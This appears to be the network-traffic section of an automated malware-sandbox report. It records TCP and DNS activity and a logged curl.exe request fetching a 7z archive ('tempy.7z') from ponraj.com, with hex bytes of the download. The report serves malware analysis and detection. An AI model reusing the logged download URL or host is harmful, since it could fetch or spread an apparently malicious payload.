Jul 18, 2023 17:27:11.683132887 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.683134079 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.683213949 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.683264971 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.718103886 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.718144894 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.718281984 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.718329906 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.718390942 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.742126942 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.742180109 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.742325068 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.742350101 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.742387056 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.742408991 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.742657900 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.742716074 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.742790937 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.742799044 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.742810965 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.742850065 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.743177891 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.743230104 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.743284941 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.743295908 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.743330002 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.743351936 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.743618965 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.743716002 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.743717909 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.743732929 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.743777990 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.743808031 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.744055033 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.744079113 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.744153023 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.744162083 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.744205952 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.744205952 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.776828051 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.776880026 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.777113914 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.777156115 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.777196884 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.777230024 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.777373075 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.777374029 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.777425051 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.777523041 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.803143978 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.803177118 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.803319931 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.803360939 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.803447962 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.803590059 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.804215908 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.804245949 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.804336071 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.804414034 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.804426908 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.804471970 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.804599047 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.804852009 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.804883003 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.805124044 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.805124044 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.805145979 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.805443048 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.805468082 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.805565119 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.805583000 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.805684090 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.806179047 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.806224108 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.806332111 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.806359053 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.806477070 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.806919098 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.806946039 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.807054996 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.807070971 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.807171106 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.807823896 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.807849884 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.807948112 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.807971954 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.808079958 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.808559895 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.808588982 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.808872938 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.808908939 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.809318066 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.809341908 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.809487104 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.809519053 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.864965916 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893414021 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893450022 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893503904 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893538952 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893558025 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893559933 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893587112 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893599987 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893613100 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893615007 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893646955 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893661976 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893709898 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893739939 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893769026 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893786907 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893802881 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893831015 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893831968 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893845081 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893872976 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893883944 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893901110 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.893937111 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893953085 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.893991947 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894020081 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894058943 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894073009 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894092083 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894112110 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894114971 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894125938 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894154072 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894164085 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894193888 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894207001 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894222021 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894248962 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894251108 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894263029 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894287109 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894300938 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894326925 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894339085 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894366026 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894380093 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894386053 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894398928 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894427061 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894439936 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894449949 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894481897 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894514084 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894516945 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894551039 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894572020 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894596100 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894610882 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894634962 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894653082 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894665003 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894701004 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894725084 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894737005 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894764900 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894764900 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894781113 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894790888 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894824982 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894834042 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894886971 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894900084 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894917011 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894942999 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894946098 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.894959927 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.894992113 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895009041 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895049095 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895061016 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895078897 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895097971 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895106077 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895116091 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895138979 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895158052 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895186901 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895198107 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895216942 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895220995 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895256996 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895265102 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895277977 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895304918 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895395041 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.895409107 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:11.895454884 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.908037901 CEST	49701	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:11.908080101 CEST	443	49701	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.663746119 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.663826942 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.663966894 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.681624889 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.681668043 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.810513020 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.810614109 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.813227892 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.813247919 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.813975096 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.819660902 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.860318899 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.926543951 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.926769018 CEST	443	49702	188.127.225.160	192.168.2.7
Jul 18, 2023 17:27:12.926915884 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.947663069 CEST	49702	443	192.168.2.7	188.127.225.160
Jul 18, 2023 17:27:12.947727919 CEST	443	49702	188.127.225.160	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 18, 2023 17:27:09.426331997 CEST	60326	53	192.168.2.7	8.8.8.8
Jul 18, 2023 17:27:09.484924078 CEST	53	60326	8.8.8.8	192.168.2.7
Jul 18, 2023 17:27:11.242806911 CEST	50835	53	192.168.2.7	8.8.8.8
Jul 18, 2023 17:27:11.263299942 CEST	53	50835	8.8.8.8	192.168.2.7
Jul 18, 2023 17:27:12.625587940 CEST	50505	53	192.168.2.7	8.8.8.8
Jul 18, 2023 17:27:12.645886898 CEST	53	50505	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 18, 2023 17:27:09.426331997 CEST	192.168.2.7	8.8.8.8	0x2830	Standard query (0)	ponraj.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:27:11.242806911 CEST	192.168.2.7	8.8.8.8	0x4b72	Standard query (0)	ponraj.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:27:12.625587940 CEST	192.168.2.7	8.8.8.8	0x95b1	Standard query (0)	ponraj.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 18, 2023 17:27:09.484924078 CEST	8.8.8.8	192.168.2.7	0x2830	No error (0)	ponraj.com	188.127.225.160	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:27:11.263299942 CEST	8.8.8.8	192.168.2.7	0x4b72	No error (0)	ponraj.com	188.127.225.160	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:27:12.645886898 CEST	8.8.8.8	192.168.2.7	0x95b1	No error (0)	ponraj.com	188.127.225.160	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49700	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-18 15:27:09 UTC	0	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z HTTP/1.1 Host: ponraj.com User-Agent: curl/7.55.1 Accept: /
2023-07-18 15:27:09 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 18 Jul 2023 15:27:09 GMT Content-Type: application/x-7z-compressed Content-Length: 2536757 Connection: close Last-Modified: Mon, 17 Jul 2023 11:03:36 GMT ETag: "26b535-600acc008a8a7" Accept-Ranges: bytes
2023-07-18 15:27:09 UTC	0	IN	Data Raw: 37 7a bc af 27 1c 00 04 57 52 db 37 f0 b4 26 00 00 00 00 00 25 00 00 00 00 00 00 00 c2 78 06 e9 e0 1e 09 07 8b 5d 00 18 1e 02 23 92 88 00 2f a6 7d 71 24 7f cb d5 40 df e5 26 f5 18 c3 01 7e df 1c ec 40 7d 49 5e ca 04 9c 7e 43 62 60 1c 29 7c dd 2c 70 08 94 91 d9 86 21 5d 51 43 09 1a 0e 71 af e6 48 dc 7f db ae 3a 0c 8a 15 6a 6b 22 8f db 32 f2 51 e5 de 32 40 e2 13 78 9a 2a fc 9d de d9 32 77 48 29 e6 ff 45 95 6c ad fe 18 27 ae 81 3a 6f fe 69 52 70 b4 aa 79 bc cb 21 cb 05 25 5a fd 8c a8 0f 5b 98 c8 e2 fd 19 3e 18 e8 8f ce 03 f1 9c 70 da 8a 20 db 68 ac 47 14 7e 17 7c 94 f1 59 c4 b5 88 25 f8 8b 24 d6 cc 3e 94 8c b4 3e 81 0a 86 71 08 73 76 95 b2 5b d2 05 56 f8 7b 16 5c 86 91 9e a4 4b a6 b2 8f c5 24 ca 12 bd 76 d5 0b 8b 37 ef fa db 2f 40 e1 61 53 a6 ac 5b 61 a7 6f Data Ascii: 7z'WR7&%x]#/}q$@&~@}I^~Cb`)\|,p!]QCqH:jk"2Q2@x*2wH)El':oiRpy!%Z[>p hG~\|Y%$>>qsv[V{\K$v7/@aS[ao
2023-07-18 15:27:09 UTC	16	IN	Data Raw: 4f d2 01 c5 d7 31 ec 4c 6b 99 ce 44 51 69 3e 56 e5 28 d3 36 ad 65 f7 3e b8 82 76 b8 31 a2 77 43 d5 82 28 bf 1a b0 92 e8 fb b9 e5 cf 4b 48 ad 20 7e 1e 0c ed 99 01 e3 d0 7d e6 0b 62 04 52 16 c7 d3 8f 70 55 75 5e 0d d6 52 88 e1 61 86 54 8a b6 51 1f 64 de 7d 5c 41 08 b6 f3 94 4b 53 dc 31 3d e0 b6 88 89 7a 24 ec aa 2e 70 46 8e 00 78 84 a6 24 9d 3d b9 60 40 75 fb 5c 5f 88 b4 69 96 6d 1c 94 be ab 09 0f 66 26 b1 df ba 2e aa 2e 7b e3 0e 14 ea dd 8a cf b9 eb b0 69 d4 1c fe 67 26 90 85 a9 c8 cf 38 2e 03 d2 f6 c5 45 e0 31 af 99 2f 10 57 75 b3 29 c3 94 61 7a 74 d7 d3 da 60 d6 d0 b6 02 ee 23 da 07 ab 9a 58 4d df e8 65 8b 63 3c 8a a8 f8 d7 39 ea d0 87 9d b0 3b 80 7b fc fa 25 0f f5 b0 26 08 4b 32 18 29 af 02 23 3d ed 41 60 b6 9b 2a b6 46 60 fe 04 21 c4 85 70 f1 c7 8f c7 Data Ascii: O1LkDQi>V(6e>v1wC(KH ~}bRpUu^RaTQd}\AKS1=z$.pFx$=`@u\_imf&..{ig&8.E1/Wu)azt`#XMec<9;{%&K2)#=A`*F`!p
2023-07-18 15:27:09 UTC	32	IN	Data Raw: c4 b6 5a 53 fd 28 4c 96 a9 8d df 39 d2 c8 1b fb 71 6e 28 d9 f3 24 71 78 48 bd b9 d0 fb 3c ee 77 b4 d0 c6 4b 3b d9 56 01 e9 21 57 e7 78 98 d0 f8 19 f0 ac f6 4d 3c fd c1 9b 36 2b 84 92 55 53 49 b4 ac 25 3f 8f 89 e5 b4 67 7c 8b c6 df f6 1e 37 52 d8 a8 8f 43 68 62 4a d7 14 68 de 9e 37 a3 91 a1 c5 6d 07 86 f1 56 06 66 7a 20 d6 da e6 a0 30 c5 a0 fc e8 38 f1 07 5a 68 34 58 eb 78 3d ae 44 d6 0e 6a 9d 4f 2a e6 5b 6e 72 e5 1a 5d 47 ae 02 9d de 6d 3e fa 0a f5 87 1c 49 d7 02 5f 5f 7f cb 33 99 85 70 e8 3e 98 f4 d0 66 1a 98 a7 75 db c4 d3 f9 71 42 45 08 59 67 c4 cb 3f 9a e6 4e c6 fc 72 4e b5 71 2c 83 35 87 5e a8 9a 6d 82 65 e6 d5 3a 2d 94 b4 b7 ee c0 1b a9 18 3e d5 ff 4f 13 3d c4 e5 95 43 93 52 aa a0 e0 1f 5e 98 2b 34 01 49 08 dd b8 0d c3 79 89 a2 33 25 60 c7 ad b6 06 Data Ascii: ZS(L9qn($qxH<wK;V!WxM<6+USI%?g\|7RChbJh7mVfz 08Zh4Xx=DjO*[nr]Gm>I__3p>fuqBEYg?NrNq,5^me:->O=CR^+4Iy3%`
2023-07-18 15:27:09 UTC	48	IN	Data Raw: f1 53 6f c1 06 9d ea 36 26 14 0e 9a 4c bf ae d0 10 90 01 22 2c 94 ff 7a 8c 63 8b 52 49 a7 2a c6 c3 08 94 2f ab 3e 12 74 1e 68 ae ac a2 81 b2 3a a1 7c cd a8 e7 25 89 fc 12 f5 0d 98 85 57 76 be a8 03 fd 02 77 90 31 74 6f d6 87 c4 d1 b7 26 9b f4 c4 c1 31 7f bb 22 c9 94 ba 44 a4 51 10 84 80 e6 18 73 fa 23 24 83 12 bc 02 6c 7f 46 65 2f 64 63 80 e2 04 d5 7b ca 39 cb 6f 8b e5 30 a0 64 6a 4b c6 3b 11 3f 0b e3 bf 98 f6 18 fb a6 1f 43 c5 35 cb 45 f0 84 17 bc 1f e2 85 5d 44 61 46 10 08 b7 9a 71 f7 2f 26 42 ad 98 ee 9d d6 f9 3f 05 f4 20 c1 03 a6 81 4d 25 8f 70 c6 86 c2 ac f5 4f f6 dc 48 e3 3b ae 2c bb f3 bb 08 49 cd 6f 73 90 5c 08 8e 9d 32 d2 f0 e2 b9 26 75 51 a7 cb 0f 76 8f c6 fb 6c c0 b8 7a f1 e5 23 9a a8 c0 47 0d 26 ce ea 43 b5 3c a2 15 f1 22 56 2d 07 eb 61 e3 21 Data Ascii: So6&L",zcRI*/>th:\|%Wvw1to&1"DQs#$lFe/dc{9o0djK;?C5E]DaFq/&B? M%pOH;,Ios\2&uQvlz#G&C<"V-a!
2023-07-18 15:27:09 UTC	64	IN	Data Raw: 3d 1d 29 6a 0c 17 c3 c2 3b c4 90 93 8d 86 5b 47 a0 3b d1 b5 95 d7 20 43 14 28 2b c8 75 bb 54 22 22 35 16 2b 1d 8e 60 21 ec 23 bb d0 e8 bf 4a ee 69 35 e7 c4 16 74 b5 e8 dd de 02 8d a3 7c 67 24 ac cb 72 c8 68 62 29 b2 30 bc b3 9f 5a b9 85 21 0e b1 8b 97 18 19 27 e4 d5 c5 ac 87 17 2c 84 59 46 9a 38 a8 69 3f c6 e5 62 0e ad b4 7d 54 a0 bf bf 8c b2 23 71 eb 8a 4a 6d 18 6f 0f 4b 73 34 6b f3 56 e6 40 fe 71 4e 63 8d 26 7a 43 a9 16 09 a7 37 65 dc 3f 66 4b 89 e7 a9 1e 05 30 42 f2 db fa d4 04 57 d3 67 e0 a5 e9 d8 66 2e d7 df df 53 71 77 cf 87 78 d8 e5 71 1b 3e dd 6b c9 c1 3f 40 97 7c a1 86 27 1d 7d 8e b8 1e f5 bb ff be 8a b6 13 52 f8 5c 4c f1 90 88 1c 72 65 6e 4f 3d d6 c0 4b de 06 3b d5 6a ed 00 ab f3 99 86 4f ff 50 e6 4a f4 c5 9a 69 61 48 7b 83 bf 2e d1 38 b4 b7 dc Data Ascii: =)j;[G; C(+uT""5+`!#Ji5t\|g$rhb)0Z!',YF8i?b}T#qJmoKs4kV@qNc&zC7e?fK0BWgf.Sqwxq>k?@\|'}R\LrenO=K;jOPJiaH{.8
